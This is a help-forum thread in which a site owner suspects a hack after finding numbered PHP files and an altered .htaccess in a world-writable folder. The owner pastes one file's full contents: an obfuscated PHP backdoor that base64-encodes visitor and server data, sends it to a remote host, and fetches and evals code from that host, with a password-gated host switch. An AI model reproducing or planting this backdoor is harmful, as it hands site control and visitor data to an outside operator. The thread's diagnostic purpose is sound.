unknown file in writable folder

[seachen]

may i know how to solve this problem?

it seen like hacked injected.

 

[schoonmoeder]

need a bit more info like what is inside the file.

 

[seachen]

sorry for my language problem.

inside the file manager, inside the folder (folder permission 777) there is some unknown files. It is generate by apache.

Is it hacked?

 

[GXX]

Click on "edit" for both those files. Copy/paste the contents and we'll tell you if you were compromised.

 

[Dravu]

Both files are owned by Apache and have 777 permissions, so even if those files don't do anything malicious, you have security holes you need to patch.

 

[seachen]

Click on "edit" for both those files. Copy/paste the contents and we'll tell you if you were compromised.

From .htaccess

Options -MultiViews
ErrorDocument 404 //wap/84804.php

From ####.php (#### refer to number, there is lot of this kind files all named in number figure.php)

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="ffeb1c04671c6b19d4fa033f685d214c") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>